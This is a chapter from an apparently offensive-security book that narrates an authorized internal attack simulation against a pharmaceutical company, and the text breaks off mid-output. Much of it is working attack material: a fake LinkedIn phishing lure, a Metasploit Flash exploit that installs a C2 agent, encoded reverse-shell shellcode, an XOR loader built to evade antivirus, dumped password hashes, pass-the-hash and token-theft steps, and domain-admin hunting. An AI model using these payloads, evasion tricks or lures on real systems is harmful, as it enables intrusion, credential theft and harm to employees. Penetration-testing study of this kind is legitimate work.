Chapter 4
Pharma Karma

Throughout 2011, “Occupy Wall Street” protesters camped out in public parks across the United States. They were angry about something.

They weren't sure what.

Their messages were incoherent. They wanted the government to fix things. They wanted the government to stop corporate greed. But for all of the idealism behind the movement, the protesters missed one important fundamental point: corporations (like nation states) have escaped human scale. There is no “man” to fight, just a sprawling entity whose goals are perpetuation and expansion.

What does this have to do with information security? Everything. Until you've worked for a massive corporation, it's difficult to really understand how they function; a collective of affiliated business units bound together through uncompromising process. A CEO is a figurehead, nothing more—someone to put a face to a new product in the case of Apple or someone you have to look up to know their name in the case of Verizon or whoever.

Pharmaceutical companies are no strangers to protest and 2011 was no exception. Groups picketing Novartis or Pfizer are so common as to not be worth a mention. Of course, expressing your objection to corporate policy (in this case animal testing) by waving a banner is at best ineffective precisely because of these reasons. One day, one of these groups will learn basic system intrusion skills and they might achieve something.

Who knows?

When I attended the scoping meeting to discuss an APT modeling engagement with a large pharma, I discovered the remarkable phenomenon that apparently no one in New Jersey walks anywhere. I'd decided to stay at the Holiday Inn over the road from the company so I could just hop out of bed and not fuss with taxis or rental cars. Imagine my surprise when I found myself looking down the business end of a large nightstick wielded by a similarly massive security guard. I explained I was there for a business meeting while he nervously spoke into his walkie-talkie, “I don't know, he just walked in here.” It all worked out but for the next day's meeting, I took the hotel's shuttle instead which was waved through without a second glance. I then took the internal shuttle to the IT building and shoulder surfed my way in. All without a pass. I trust the irony of this is not lost on you.

This chapter makes vague mention of a technology called Hard Disk Firewall but doesn't refer to it by name. The reason for this is not to subject my publisher to legal liability. However, the technology is described in great detail on my website at www.wilallsopp.com if you'd like further information.

Background and Mission Briefing

Animal rights activists and affiliated groups were mounting an increasingly focused Internet campaign against their targets. In the past, these tactics were largely limited to email harassment and threats, but targeted attacks with an intention of compromising users were becoming increasingly common and more sophisticated. The nightmare scenario in the organization I was talking to was physical attacks against their staff and tertiary attacks against their suppliers (and the suppliers of their suppliers, etc.). Such an approach had previously been highly effective in the UK, leading to the British government financially intervening in several cases to stop pharmaceutical facilities from going out of business. American protesters had learned these lessons well and the SHAC model of protest (named after the animal rights group that pioneered it) was becoming popular in the United States.

Keeping employee details and client or supplier details secure while at the same time available to those departments that needed such information to function was a challenge because external actors were only one part of the problem. In the past, the organization had to contend with leaks by sympathetic employees as well. Subsequently, it was determined that some form of APT modeling scenario be attempted in order to illustrate the perceived risks and learn how best to mitigate them.

With this in mind and with an eye to saving money, the entire engagement would be conducted internally with the assumption that an attacker had gained access in some way or that the attacker was not an external actor but an employee with legitimate access to the corporate network. The company also placed a great deal of faith in an expensive hard disk firewall technology they had recently deployed, software that claimed to be capable of stopping “all attacks, both known and unknown.” As you shall see, this faith will turn out to be horribly misplaced.

The scope of the engagement would be a short-term hunter-killer exercise with the following goals:

  • Simulate an attack against company employees by harvesting information including confidential data such as home addresses and social security numbers.
  • Simulate a tertiary attack by acquiring names and details of suppliers and clients.
  • Determine a scenario where an attacker could cause irreparable or at least critical damage to the company through an attack on computer resources and information systems.

This made for a simple plan, at least on paper. We'd likely need to gain access to HR systems at a minimum, but it would be better if you could escalate privileges across as much of the network as possible, including backup systems. That way, you could simulate a massive destructive incident. Once an attacker has gained access to substantial resources, the quickest way to render them unusable would be to boot encrypt the hard storage and incapacitate the backups. In a genuine attack, an external actor would alter the parameters of the backups in order to overwrite the backups with garbage. Backup tapes (yes, they're still used in a lot of places but this works for equivalent technologies too), for instance, are usually reused every couple of weeks. With the all data destroyed, an attack on the infrastructure will be terminal.

Payload Delivery Part IV: Client-Side Exploits 1

In this chapter, we look at delivering payloads by exploiting vulnerabilities in client-side software such as web browsers, their plugins, and other desktop code. New vulnerabilities are discovered and patched in applications every day and, as a consequence, there is little point in learning to attack specific bugs here, as these will have been long addressed before this book goes to print. That being said, there are the “usual suspects”—technologies in which serious bugs have been discovered on a seemingly weekly basis over the course of their long lives and as such are illustrative and interesting to explore.

The Curse That Is Flash

The worst offender is Adobe Flash. Its almost universal presence combined with a long history of terrible security means that it is a staple of exploitation kits, ransomware, and drive-by-downloads. There is no secure way to deploy this horror story of a plugin—disable or remove it. The vast majority of systems will have Flash, and it is important to have some exploits for it on hand. There are so many security updates to Adobe Flash that most users (corporate or otherwise) just don't bother (unless there is a corporate technical policy in place to do this automatically, in which case such a security conscious environment will likely have marked it as a banned technology anyway). Antivirus is good at blocking the generic Flash exploits that emerge in tools like Metasploit, but as with any malware, a few small changes can ensure an attack slips through the defenses while remaining effective. Figures 4.1 and 4.2 should provide food for thought.

Screenshot showing cvedetails showing 56 code execution vulnerabilities in Flash in 2016.

Figure 4.1: This image from cvedetails shows 56 code execution vulnerabilities in Flash in 2016 alone.

Snapshot for AlienVault SOC alarm screen.

Figure 4.2: The number one issue on this AlienVault SOC alarm screen is vulnerable software, with that software being Flash.

At Least You Can Live Without It

The one redeeming quality of Flash from a security perspective is that it doesn't really do anything useful (at least nothing that is not now served by HTML5), so if you want to go ahead and pull it out of your network by the roots, the walls aren't going to come tumbling down. The second big offender is Java. You saw earlier that it's easy to whip together a Java applet to carry out specific attacks against the client, which is great if that vector works for you. However, like Flash, certain versions are vulnerable to attacks that will take those decisions out of the target's hands as soon as they visit a website that contains your exploit. There are nowhere near as many vulnerabilities in Java as there are in Flash; nevertheless, it is still the second most commonly occurring issue detected in the same AlienVault SOC, as shown in Figure 4.3.

Snapshot showing AlienVault SOC screen.

Figure 4.3: This is clearly a large network that lacks a cohesive overall vulnerability management strategy.

Memory Corruption Bugs: Dos and Don'ts

We'll look at a sample attack against Flash in due course, but first a comment on workflow. Personally, I don't like using memory corruption bugs when attempting to gain entry into target systems. By the nature of these vulnerabilities, there can be a lot of uncertainty and a lot that can go wrong. When targeting a massive number of users in a phishing attack, that can be acceptable, but in a specific APT-modeling scenario, every failed attack will cause the target to become more aware and more suspicious. Consequently, you have to remove as much uncertainty as possible, so when exploiting such vulnerabilities, it is desirable to have as much information on what the client is running beforehand, both in terms of an attack surface as well the specific versions of the software. It is possible to set up a webserver and give it a certain amount of intelligence to detect vulnerabilities in browsers and exploit them in real-time depending on what is found. However, this is rarely practical in real-world attacks against corporate infrastructure and they tend to be “loud” (suspicious to IDS) and slow (the target may leave the web page or close the browser before an appropriate exploit is selected and exploited). Our process therefore should look like this:

  • Profile the target—Lead your victim to a website that will run some scripts and model the environment.
  • Exploit selection—Determine what is applicable to the target.
  • Stealth—Modify the exploit to ensure that it won't be triggered by signature-based IDS but will still run. Being able to model your target's environment as closely as possible in a virtualized environment is essential here. This is the same issue you always face when deploying payloads and the nature of the obfuscation is going to depend on the attack.
  • Exploitation—Deliver the attack in a plausible way to bring it under your command and control.

Assuming that you're targeting a user via a web browser, there are a couple of options for determining client-side software. The best option is JavaScript. The following quick and dirty script demonstrates how to enumerate browser plugins and versions:

<html>
<head>
  <script type="text/javascript">
  <!--
    function showWindow(){
      var len = navigator.plugins.length;
      newWin = window.open("", "", "height=400,width=500");
      newWin.document.write("<p>Plug-In Info:</p>");
      for(var i = 0; i < len; i++){
        newWin.document.write("<li>" + navigator.plugins[i].description + "</li>");
      }
	  
      newWin.document.close()
    }
  //-->
  </script>
</head>
<body>
  <form>
    <input type="button" value="Show Plug-In Information" onclick="showWindow()">
  </form>
</body>
</html>

This method has its pros and cons. It's JavaScript so will most likely be allowed to run, but on the other hand, JavaScript doesn't have access to the client's file system so it's dependent on what the browser chooses to tell it. The output is messy and usually contains duplicates, as shown in Figure 4.4.

Snapshot showing Script output shows plugin data.

Figure 4.4: Script output shows plugin data.

There are other properties and values you can derive via HTML/JavaScript, but if you want to go any deeper, you're going to need something more powerful running in the browser such as Java. That presents its own problems as you've already seen. Additionally, if you can execute Java applets on a target system you're already in a strong position to deploy your C2 without further fuss. In any case, JavaScript is adequate for what is needed here.

Reeling in the Target

Getting your target to visit your profiling web page is a matter of social engineering and you have many options. A favorite of mine is to use a fake LinkedIn invite. We all get them from people we know and people we don't, so they make for a good “click-and-forget” attack. A LinkedIn invite in your inbox looks like Figure 4.5.

Snapshot showing LinkedIn invite page.

Figure 4.5: A LinkedIn invite comes as an HTML email message.

It looks innocent enough but you can turn this into an effective attack by downloading the HTML and modifying the URLs in the message. That way, instead of going to LinkedIn, any click will redirect the target to the profiling web page. If you add the following line of code to the end of the JavaScript:

window.location.href = "https://www.linkedin.com/error_pages/"

The user will be immediately shown a temporary LinkedIn error message. The JavaScript is not stealthy and will not stand up to careful examination; however, we cover JavaScript obfuscation in depth later in the book.

Looking at the output from a profiler, you can see that the client is running Flash version 18.0.0.203. Checking CVE details, again you find that this version is vulnerable to the exploit CVE-2015-5122, as shown in Figure 4.6.

Snapshot showing remote command execution bug.

Figure 4.6: This is a remote command execution bug with reliable exploit code in the wild.

This exploit is quite interesting. It was discovered by a loathsome company in Italy called Hacking Team who specialized in selling spyware to repressive regimes (until the Italian government revoked their license to export software). After Hacking Team was itself compromised by parties unknown, a lot of its secrets and some of its exploit code (including this one) was leaked to the Internet. It was improved by the community and imported into the Metasploit framework. (See https://www.rapid7.com/db/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf)

This is tooling that we'll integrate into our C2 in the next section. For now, we'll use a standalone Metasploit exploit for the CVE-2015-5122 bug to get code execution on the target and install our C2 agent. If you're not familiar with Metasploit, now would be a good time to get familiar. There are plenty of tutorials on the web and it's too useful a tool for APT modeling to disregard. Setting up this attack is simplicity itself:

root@37-97-139-116:~# msfconsole

msf > search 5122

Matching Modules
================

  Name                        Disclosure Date  Rank   Description
  -----                       ---------------  -----  ----------------
   exploit/multi/browser/adobe_flash_opaque_background_uaf  2015-07-06       great  Adobe Flash opaqueBackground Use After Free
   
   
msf > use exploit/multi/browser/adobe_flash_opaque_background_uaf
msf exploit(adobe_flash_opaque_background_uaf) > set PAYLOAD generic/custom
PAYLOAD => generic/custom
msf exploit(adobe_flash_opaque_background_uaf) > set PAYLOADFILE c2_agent.exe
PAYLOADFILE => c2_agent.exe
msf exploit(adobe_flash_opaque_background_uaf) > set SRVPORT 80
SRVPORT => 80
msf exploit(adobe_flash_opaque_background_uaf) > set URIPATH adobe_demo

With a few simple commands, this attack is ready to fly. The end result is a web server that, when visited by the target, will immediately attack the vulnerable version of Flash. If it's successful, it will upload and execute the C2 agent.

The exploit is enabled as follows:

msf exploit(adobe_flash_opaque_background_uaf) > run
[*] Exploit running as background job.
msf exploit(adobe_flash_opaque_background_uaf) >
[*] Using URL: http://0.0.0.0/adobe_demo
[*] Local IP: http://c2_server.com/adobe_demo
[*] Server started.

Anyone visiting the URL http://c2server.com/adobe_demo is going to get attacked and anyone running a vulnerable version of Flash is going to get owned. This is a nice reliable exploit and a good intro to Metasploit if you don't know it. It's also resilient to antivirus (as long as you don't call it FlashExploit or some other obvious keyword that will get you flagged), as shown in Figure 4.7.

Snapshot showing FlashExploit.

Figure 4.7: Metasploit does an excellent job at obfuscating the CVE-2015-5012 attack.

Command and Control Part IV: Metasploit Integration

I didn't want this to be “Just Another Book On Metasploit ©”. However, the framework is too useful to simply disregard and, if used correctly, it can solve and streamline a lot of the problems in the APT-modeling scenario. There are two versions of Metasploit—the free version which is completely adequate for our needs and the paid version, Metasploit Pro, which is a commercial product owned by Rapid 7. There's nothing inherently wrong with the commercial version, so feel free to give it a whirl.

Metasploit Integration Basics

To integrate Metasploit into your C2, you need the following:

  • A Metasploit listener running on your C2 infrastructure. This is a matter of taste but in this example we're going to go with a TCP reverse connection listening on port 1234 on the localhost interface only.
  • An AV-resilient Meterpreter client you can deploy via your SSH connection. Create a custom encoded payload that you will further harden and deliver as a small C application.
  • The ability to route over your SSH connection so you can consolidate comms over a single connection and defeat Intrusion Detection Monitoring of network traffic. Ideally, you would use SSH dynamic connection tunneling, which would allow you to start a SOCKS proxy on our target machine and route all Metasploit traffic through it back to the C2. However, Metasploit doesn't allow you to specify proxy settings when generating shellcode, so you will use a simple reverse SSH tunnel with the Metasploit listener itself restricted to localhost and not exposed and open to the Internet.

Server Configuration

Server configuration is simply a matter of installing Metasploit and its dependencies. If you're using a Linux distribution geared toward penetration testing, this will all be in the repository. Otherwise, download and install it manually. You will definitely want to install PostgreSQL and ensure that that is playing well with Metasploit; however, this is all documented in detail elsewhere and I will not waste space here with trivialities.

Black Hats/White Hats

Metasploit is a widely used tool by both pen testers and miscreants and one that has seen considerable exposure to malware analysis, so to create an AV resilient payload is a two-step process. We will first need to generate the flat shellcode that will talk back to our C2 (our Meterpreter payload) and then you embed that in an encoded format and inject it straight into memory at runtime. So:

~# msfvenom -p windows/meterpreter/reverse_tcp lhost=localhost lport=1234 -e x86/shikata_ga_nai -i 3 -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 357 (iteration=0)
x86/shikata_ga_nai succeeded with size 384 (iteration=1)
x86/shikata_ga_nai succeeded with size 411 (iteration=2)
x86/shikata_ga_nai chosen with final size 411
Payload size: 411 bytes
unsigned char buf[] =
"xdbxdexd9x74x24xf4xb8x69x68x4dx1ax5ax2bxc9xb1"
"x61x31x42x17x03x42x17x83x83x94xafxefx88xa7x8a"
"x86x6cx94x77x7fx04xc0x73xdexcfxc1xcdx85x8cx14"
"x29x0bxc4x8cx31x3dx6ax0cx7cx84x0bxb0xb9x54x4a"
"xe9x53x0bx9dx2ex1fxe9x16xe7x8bx56x26x44x04x56"
"xbfxeax91xa3x68x47xeax6cx4dxbexa6xa9x32x64x1d"
"xb7x97x83x44xacxe4xe5x63xb9xe2xb0xc2x3ax55x4f"
"x88x07x29x74xfbxe7xccx5cx91xe8x76x93x0bxb9x36"
"xb7x50x90x04xbfxe5xe1xafx8dx81x38xd3x66xb2x20"
"xf3xc3xcaxa7x02xf8x6dx73x39x99x0bx6exc1x5bxaf"
"x21xc0x3axe1x38x47x18xe3x5ex5bx41x7bx8ex35x60"
"xf9x8exadxc2x97x82x1ax1fx05x67x88x49x48xb7xfa"
"xf4xccx33xfdxedxdbx6fxacxe4x04x28xc2x32x54x47"
"xa2x2dx85x76x1axd3x72xc0x9dx0dx13xadxb0x97x01"
"x25x88x25x64xf7x54x55x0ax35x55x2ax1fx3axb9x5f"
"xa1x5fx4dx57xfaxd0x56x24xe5x2fx55xf9x2fxdfx2c"
"x50x59xe6xbbxb1x18x42xfax2dxadx76xf4xe6x3ex47"
"xffx05x9fx19x71x8axbdx76xd8x24x0dx89xf2x16xf3"
"x89x85x8dx2ex05x63xdax1fxafx40x89xa5x48x42x83"
"xc2xf9xeexa4x11x0bx36xefx7bxb1x10x09xf2x5bx1c"
"x24x42x41x26x76x00x02xe6x8fxaex01x4ax45x95xf9"
"x7dx78x0dx94xd5x21xa4xf3x32x95x60x3axfax6bx67"
"x49x4dx47x13x0cx81x71xfexf4x6fx37xc6x70xd5x51"
"xaax50x74x80xadx0fx30xf5x4fx2bx60xa0x0cx6fx4c"
"x13x99x39x44xaax22x78xe8xa2x54x5cx8fx66x6ex7c"
"xdex4dx7fxd0x13x4axd3x0cxf3xc5xefx83xdax48xae"
"xebxa9xa4x3cxfbx39xc2x9dx4cx8dx23xa7x95xc8x6d"
"xc2x20x1ax9ex58x09";

Note that we've given the shellcode three iterations of the x86/shikata_ga_nai encoder to avoid AV signature detection, but that likely won't be enough. In order to pass muster, we will first further obfuscate our shellcode by XORing it with a simple key (in this case xyz) and then load that string into the following C code and compile it:

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'xyz' shellcode goes here*/};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}

If you submit the XOR function to Virus Total, you'll get what's shown in Figure 4.8.

Screenshot for simple XOR function.

Figure 4.8: A simple XOR function can easily defeat antivirus technology.

What Have I Said About AV?

By now you have probably learned that relying on AV to protect you from anything but the most trivial malware is a very bad idea. At the risk of repeating myself, in an APT scenario where you are being specifically targeted by a resourceful and patient attacker, AV is worse than useless, because it provides a false sense of security.

When discussing the use of Metasploit, I will also use the graphical frontend Armitage developed by Raphael Mudge. The reason for this is simply that the native Metasploit CLI interface doesn't provide particularly illustrative screenshots.

We could add a function to our C2 graphical interface to automate the deployment of the Metasploit agent or just upload and execute it manually. Metasploit has its own persistency functionality, but we won't be using it as it will get flagged by IDS. Instead, we'll initialize it from our own C2 infrastructure when needed. Our setup with integrated and deployed Metasploit now looks like Figure 4.9.

Schematic for Meterpreter session tunneled over SSH and looks innocent to network IDS.

Figure 4.9: The Meterpreter session is tunneled over SSH and looks innocent to network IDS.

Pivoting

One of the most important and useful functions that Metasploit brings to the equation is pivoting. This allows us to route attacks through a compromised machine and attack other network resources that it has visibility to. This is a stackable feature, meaning we can route through a chain of machines should we need to. This might be necessary for defeating certain kinds of network access control or you might want to stage attacks from a network resource of little value so that if detected by the SOC you haven't lost your beachhead access. Using Armitage this is a one-click process presented in a slick graphical interface.

Metasploit also implements a process-migration attack that (among other things) allows you to completely bypass process-based access control. That brings us neatly to the next section.

The Attack

The client provided a standard corporate Windows 7 imaged workstation, although we could also plug our own kit into their network. The first order of business was to compromise the workstation itself—what we learned here would tell us a lot about how the company handled information security in general. There is also the potential to acquire administration credentials that may be useful elsewhere.

The Hard Disk Firewall Fail

The workstations are running a modified kernel to prevent unauthorized processes from writing to the disk. This technology is easy to bypass and it's the first thing we need to get around before we can attack the workstation in earnest.

The HDF doesn't stop us from running code; it only prevents disk writes by unauthorized processes. Therefore our attack will need to migrate to another authorized process in order to get around this. Having write access to the hard drive will make privilege escalation attacks much easier (see Figure 4.10).

Screenshot for Notepad cannot be written to the C drive.

Figure 4.10: Notepad cannot write to the C drive. It's a fair bet most desktop software programs have the same restrictions.

Metasploit Demonstration

The quickest way to achieve this (and indeed to set up the workstation attack) is to use Metasploit. By deploying a Meterpreter payload into memory, we can list processes and migrate between them with the click of a mouse. In this example, we will list the processes running on the host to learn the PID (process ID) of the lsass.exe core Windows process and jump into it. See Figures 4.11 and 4.12.

Screenshot for Armitage displaying a list of plugins and their owners.

Figure 4.11: Armitage displays a list of plugins and their owners.

Screenshot for Process migration is a one-click process.

Figure 4.12: Process migration is a one-click process. Here we have migrated into lsass.exe.

With our payload running in the lsass.exe process, we can use Metasploit to write to whatever we want, as shown in Figure 4.13.

Screenshot for Notepad:test.txt.

Figure 4.13: In this example test.txt is uploaded from the attacker workstation.

Under the Hood

If you're interested in what is actually happening here, Metasploit is doing the following:

  • Getting the PID the user wants to migrate into. This is the target process.
  • Checking the architecture of the target process whether it is 32-bit or 64-bit. This is important for memory alignment but Metasploit can migrate between 32-bit and 64-bit processes.
  • Checking if the meterpreter process has the SeDebugPrivilege. This is used to get a handle to the target process.
  • Getting payload from the handler that is going to be injected into the target process. Calculating its length as well.
  • Calling the OpenProcess() API to gain access to the virtual memory of the target process.
  • Calling the VirtualAllocEx() API to allocate an RWX (Read, Write, Execute) memory in the target process.
  • Calling the WriteProcessMemory() API to write the payload in the target memory virtual memory space.
  • Calling the CreateRemoteThread() API to execute the newly created memory stub having the injected payload in a new thread.
  • Terminating the initial Meterpreter process.

Process migration is useful in other scenarios as well. Had we exploited a target using an Adobe PDF exploit, for example, we would lose our shell the moment the target closed Adobe, and by migrating we can avoid that.

Now that we can write to the local storage, we can go persistent (survive reboots) by installing a C2 agent to bring the workstation under our command and control; however, this is not strictly speaking necessary given that in this case the testing is entirely internal. Also, it's generally a good idea to do this as an administrative user rather than a humble user so that if you want to run commands via C2 later, you can do so with admin privileges.

We will cover the concepts and techniques in privilege escalation in detail in the next chapter. However, a simple local privilege escalation bug is all that is needed here to give us administrative rights and access to useful data like password hashes that can potentially be used to expand our influence over the rest of the network.

The attack we'll use is the Bypass UAC protection Bypass VBS attack, as shown in Figure 4.14.

Screenshot for ScriptHost interface.

Figure 4.14: Exploiting a vulnerability in the ScriptHost to escalate to the system.

This attacks works flawlessly against the Windows 7 build under attack (7601).

The Benefits of Admin

Now that we have compromised this machine to the administrator level, we will install the C2 agent and dump the password hashes for the local users. While we already have unrestricted access to this workstation, they may be useful elsewhere, particularly as a lot of organizations use one specific local admin account for tech support and then push software to the desktop. If we were able to obtain them, then lateral movement across the enterprise will become a lot easier.

In organizations that are using NTLM authentication (which in Windows shops is pretty much everyone), assuming that such an account existed, we wouldn't need to crack its hash to use it, as there is an attack called “Pass the Hash” where simply having possession of the password hash is sufficient to use it to log in into other hosts on the network. More on that shortly. In the meantime, I like to have the passwords and consider cracking them a worthy exercise. There are many tools and techniques you can use for password cracking—I like John the Ripper, but it's one of many. This is another time where process migration is usual. We can migrate into the lsass.exe process and dump cached hashes without touching the disk, which is another example of the futility of so-called hard disk firewalls.

pentestuser:502:E52CAC67419A9A224A3B108F3FA6CB6D:047310f22e642465092c42b4ef84490b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pharmadmin:500:047310f22e642465092c42b4ef84490b:ecbbacc2fcaf2e07045b500d2a57ed4a:::

Now would be a good time to dump all the hosts from the Active Directory. AD isn't going to contain everything, but it's a good bet that all the systems that are part of the forest/domain infrastructure will be registered there. That's at least all workstations and servers Windows XP/2000 onward. The quickest and easiest way to do this is with the PowerView script we looked at earlier in the book:

C:> powershell.exe -nop -exec bypass

PS C:> Import-Module ./powerview.ps1
PS C:> Get-NetComputers | Out-File -Encoding ascii output.txt

This isn't a comprehensive audit of the entire network infrastructure. The dump won't contain *nix boxes, routers, switches, embedded devices, etc., but it's an excellent starting point for getting a feel for what the network looks like.

However, if we dump the list of Windows domains, we can see that the infrastructure is also divided up by country:

C:> powershell.exe -nop -exec bypass

PS C:> Import-Module ./powerview.ps1
PS C:> Get-NetDomain  | Out-File -Encoding ascii domains.txt


UK
GER
AU
FR
DK
IT
INX
NL
IN
WIB
RD
ESP

We can also list hosts specific to each particular domain:

<snipped for brevity>


UK Hosts

UKDC01.uk.pharma.com
ukmail01.uk.pharma.com
pharmUK24.uk.pharma.com
pharmUK23.uk.pharma.com
pharmUK04.uk.pharma.com
pharmUK112.uk.pharma.com
UKSQL02.uk.pharma.com
pharmUK13.uk.pharma.com
pharmUK14.uk.pharma.com
pharmUK10.uk.pharma.com
uksql01.uk.pharma.com
pharmUK80.uk.pharma.com
pharmUK110.uk.pharma.com
pharmUK17.uk.pharma.com
pharmUK123.uk.pharma.com
ukutil01.uk.pharma.com
ukmail02.uk.pharma.com
euportal.uk.pharma.com

IT Hosts

pharmITLT03.it.pharma.com
nasd15b10.it.pharma.com
itdc01.it.pharma.com
ITTERM02.it.pharma.com
itdc02.it.pharma.com
itutil01.it.pharma.com
itterm01.it.pharma.com
itnas01.it.pharma.com
itsql02.it.pharma.com
itnas02.it.pharma.com
itmail01.it.pharma.com
ITSQL01.it.pharma.com
pharmIT21.it.pharma.com
pharmit52.it.pharma.com
pharmit57.it.pharma.com
pharmit53.it.pharma.com
pharmIT55.it.pharma.com
pharmIT23.it.pharma.com
pharmIT24.it.pharma.com
pharmIT02.it.pharma.com

I don't recommend mapping the network in any formal way, as this is going to generate a lot of ICMP and SNMP traffic at a minimum, which is loud and unnecessary. We want to stay under the radar and we have all the data we need to make informed decisions about what to attack next.

To get the populated network ranges, it's necessary to first convert the hostnames to IP addresses. This is a quick and dirty PowerShell script to do just that:

foreach ($computer in (get-content C:hosts.txt)) {
  Try{
    [system.net.Dns]::GetHostAddresses($computer) | Foreach-Object {
      add-content -path C:hosts-ips.txt -value "$($_.IPAddressToString)"
    }
  } Catch {
  }
}

By cross-referencing this output, it becomes apparent that the architecture is divided into two main IP ranges. The first is 192.168.0, which is divided in /24 blocks by country.

192.168.0.0/24                          CN=UK
192.168.45.0/24                         CN=GER
192.168.10.0/24                         CN=AU
192.168.75.0/24                         CN=FR
192.168.55.0/24                         CN=DK
192.168.65.0/24                         CN=IT
192.168.85.0/24                         CN=NL
192.168.15.0/24                         CN=IN
192.168.30.0/24                         CN=WIB
192.168.12.0/24                         CN=RD
192.168.40.0/24                         CN=ESP
192.168.0.0/16                          CN=US

Typical Subnet Cloning

Given these domain specific hosts, each of these ranges appears to be loosely cloned from a template with the same host-naming nomenclature. Each country has its own domain controllers, mail server, file server, and workstations. The exception to this is 190.168.0.0, which appears to be configured as one massive /16 relating solely to hosts in North America. This is a major deviation from internal network design standards and it's unclear why this has been implemented in this way, given the company's history originating in Europe.

I would speculate that the American network segment was “bolted on” afterward and never properly migrated. That sort of thing happens fairly frequently. The important thing now is that we know there are multiple domains, we know how they're configured, and we know that they are likely managed locally with different local domain accounts and with an overlapping trust model. We can plan our attack now with some precision.

Recovering Passwords

Assuming that we couldn't decrypt the password hashes we recovered from the local test hosts (at least within a reasonable time frame using a dictionary attack, brute force, and rainbow tables), all is not lost. There is a well-documented attack within the Windows operating system where you can authenticate remotely to another host using only the encrypted hash, without having to know the plaintext (as is obviously normally the case). The attack exploits an implementation weakness in the authentication protocol in that the password hashes are not salted, and therefore remain static from session to session until the password is next changed. Ergo, if one administrative account on one workstation has the same password as the administrative password on a machine we're trying to access, we don't need to know the password, we only need to be in possession of the hash.

Using Metasploit makes this pretty simple. As you've already seen, Metasploit stores any hashes its able to acquire for later use. All we need to do to reuse a hash is add a target machine into the Armitage interface, right-click it, and select psexec, as shown in Figure 4.15.

Screenshot for Armitage interface.

Figure 4.15: Armitage makes a lot of tedious tasks a one-click affair.

Metasploit output confirms a successful attack:

SMBDomain => ITPHARMA23
SMBPass => aad3b435b51404eeaad3b435b51404ee:ecbbacc2fcaf2e07045b500d2a57ed4a
SMBUser => pharmaadmin
[*] Exploit running as background job.
[*] Connecting to the server…
[*] Authenticating to 192.168.68.69:445|ITPHARMA23 as user 'pharmaadmin'…
[*] Selecting PowerShell target
[*] 192.168.68.69:445 - Executing the payload…
[+] 192.168.68.69:445 - Service started!

This gives us local administrator control over the target system (which is great!), but what would be even better is to have domain administration credentials. This would allow us to walk over the entire network. There's a trick to doing this if you can find a workstation or server that a domain administrator is logged into and that you can get local administrator access to. Luckily, with PowerView, this is a snap. First of all, we need to enumerate the domain admins:

PS C:> Invoke-StealthUserhunter -GroupName "Domain Admins"


UserDomain   : it.pharma.com
Username     : globaladmin
ComputerName : itmail01.it.pharma.com
IP           : 192.168.65.11
SessionFrom  : 190.168.96.21
LocalAdmin   :

UserDomain   : it.pharma.com
UserName     : globaladmin
ComputerName : itmail01.it.pharma.com
IP           : 192.168.65.11
SessionFrom  : 192.168.0.99
LocalAdmin   :

UserDomain   : it.pharma.com
UserName     : globaladmin
ComputerName : itterm01.it.pharma.com
IP           : 192.168.65.13
SessionFrom  : 192.168.0.99
LocalAdmin   :

UserDomain   : it.pharma.com
Username     : globaladmin
ComputerName : itdc02.it.pharma.com
IP           : 192.168.65.32
SessionFrom  : 192.168.0.99
LocalAdmin   :

UserDomain   : it.pharma.com
UserName     : globaladmin
ComputerName : itdc01.it.pharma.com
IP           : 192.168.65.10
SessionFrom  : 192.168.0.99
LocalAdmin   :

UserDomain   : it.pharma.com
UserName     : globaladmin
ComputerName : itsql02.it.pharma.com
IP           : 192.168.65.63
SessionFrom  : 192.168.0.99
LocalAdmin   :

UserDomain   : it.pharma.com
UserName     : globaladmin
ComputerName : ITSQL01.it.pharma.com
IP           : 192.168.65.12
SessionFrom  : 192.168.0.99
LocalAdmin   :

In this example, PowerView uses native Windows API commands to get the logged on users for domain machines.

It seems that ITSQL01.it.pharma.com has a domain admin called globaladmin logged into it. Once again, we will use a local admin “Pass the Hash” attack to compromise the host and then get Metasploit to list any available tokens on that host:

meterpreter> getuid
Server username: ITpharmaadmin
meterpreter > use incognito
Loading extension incognito…success.
meterpreter > getuid
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITYLOCAL SERVICE
NT AUTHORITYNETWORK SERVICE
NT AUTHORITYSYSTEM
ITpharmaadmin
PHARMAglobaladmin

We can steal the domain admin's session token, which will give us complete control of all this domain's hosts.

meterpreter > impersonate_token PHARMAglobaladmin
[+] Delegation token available
[+] Successfully impersonated user PHARMAglobaladmin
meterpreter > getuid
Server username: PHARMAglobaladmin

Making a Shopping List

All right. Let's go shopping. Our primary target is still employee data but, given our highly elevated access, we owe it to ourselves not to miss an opportunity for a potentially massive data theft. The last thing we want to do at this stage is start creating individual shell sessions on hosts across our compromised domain. There are too many systems and it will create suspicious network chatter, but most importantly of all—it's not necessary. What we want at this stage is a shopping list, a list across the entire domain of the location of interesting files. This can be anything we want, but let's say we're looking specifically for Microsoft Office Excel documents on remote hosts. A simple dir command will suffice in this case:

dir \hostnamec$*.xl* /s/b

Make sure you retain the command-line options so that the output contains the full path; this will make scripting easier later when you know what you want to copy.

This is of course completely scalable and scriptable, but the wider the net you cast, the longer the search will take. One approach is to search through the target list for potential HR targets, but the workstation nomenclature is very vague. A better approach is to use LinkedIn to find the names of staff who work in the HR department and cross-reference those with a user dump from the AD. Then you can determine which workstation that user is logged in to. We find a lady by the name of Fran Summers who represents Global HR in San Francisco. Using PowerView, we find out that her username is fransumm:

samaccountname                  : franumm
usncreated                      : 83047038
userprincipalname               : [email protected]
mdbusedefaults                  : True
displayname                     : Fran Summers
memberof                        : {CN=AX Requisition Users,OU=Groups,DC=phenomenex,DC=com, CN=HR,OU=
                                  Groups,DC=pharma,DC=com, CN=SP_Manf_PharmaShare_Technical,OU=Groups,DC=pharma,DC=com, CN=Security OWA Members,OU=Groups,DC=pharma,DC=com…}

Also using PowerView, we see that fransumm is logged into pharma1845.pharma.com:

PS C:> Invoke-StealthUserhunter -Username "fransumm"

UserDomain   : pharma.com
